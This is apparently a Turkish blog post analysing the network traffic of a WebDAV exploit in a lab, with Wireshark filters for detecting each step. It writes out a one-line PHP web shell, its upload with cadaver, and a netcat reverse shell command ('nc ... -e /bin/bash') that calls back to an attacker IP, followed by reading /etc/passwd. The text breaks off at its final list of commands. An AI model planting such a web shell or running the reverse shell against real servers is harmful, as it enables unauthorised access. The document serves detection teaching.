Webdav Zafiyetinin İstismar Edilmesinin Trafik Analizi

kaleileriteknoloji
3 min readJun 30, 2021

Bu yazımızda webdav zafiyetinin sömürülmesinin trafik analizini ele alacağız.

İlk olarak dav dizinin sunucuda bulunup bulunmadığını browser üzerinden kontrol edelim.

Şimdi ise file manager üzerinden dav dizinine erişim sağlayalım. Bunun için File Manager dosya yolu alanına dav://10.10.10.20/dav yazılmalıdır.

Webdav’ın açık olduğu yukarıdaki görselde görülmektedir. Şimdi basit bir php shell yazalım. Php shell GET metodu ile cmd parametresi alınan veriyi system komutu ile çalıştırılmasını sağlayacaktır.

<?php system($_GET[“cmd”]);?>

Webdav ile etkileşim kurarak yazmış olduğumuz shell.php dosyasını sunucuya atmak için cadaver aracını kullanacağız.

Kullanım:

cadaver http://ip/dav_dizini

Aşağıdaki görselde cmd parametresi ile whoami komutu çalıştırılmıştır.

Aşağıdaki görselde 5555 nolu portu kullanılarak reverse shell alınmış ve sıra ile id,cat /etc/passwd komutları çalıştırılmıştır.

Trafik analizi için ilk olarak http filtresini uygulayalım.

31 nolu pakette browser aracılığıyla dav dizini kontrol edilmesi sağlanmıştır.

File manager kullanımını tespit etmek için aşağıdaki filtreyi kullanabilirsiniz:

frame contains “gvfs”

Cadaver tarafından yapılan istekleri görmek için aşağıdaki filtre kullanılabilir:

http.user_agent contains cadaver

Şimdi PUT metodu ile dav dizinen yüklenmeye çalışan dosyanın içeriğini inceleyelim. Bunun için 338 nolu paketi sağ tıklayıp Follow -> HTTP Stream butonuna basabiliriz.

İsteğin içeriği aşağıdaki şekilde görüntülenmektedir. Shell.php başarılı bir şekilde dav dizinin oluşturulmuştur.

Browser üzerinden shell.php’ye yapılan istekleri bulmak için aşağıdaki filtre kullanılabilir.

frame contains “shell.php” and http

shell.php cmd parametresi aracılığıyla whoami ve /bin/nc 10.10.10.10 5555 –e /bin/bash komutları çalıştırılmıştır.

Reverse shell alındıktan sonra çalıştırılan komutları tespit etmek için aşağıdaki filtreler kullanılabilir.

tcp.port==5555 and tcp.flags.ack==1 and tcp.flags.push==1 (port bilindiği için)

tcp.flags.ack==1 and tcp.flags.push==1 (port bilinmiyorsa)

Sıra ile çalıştırılan komutlar:

--

--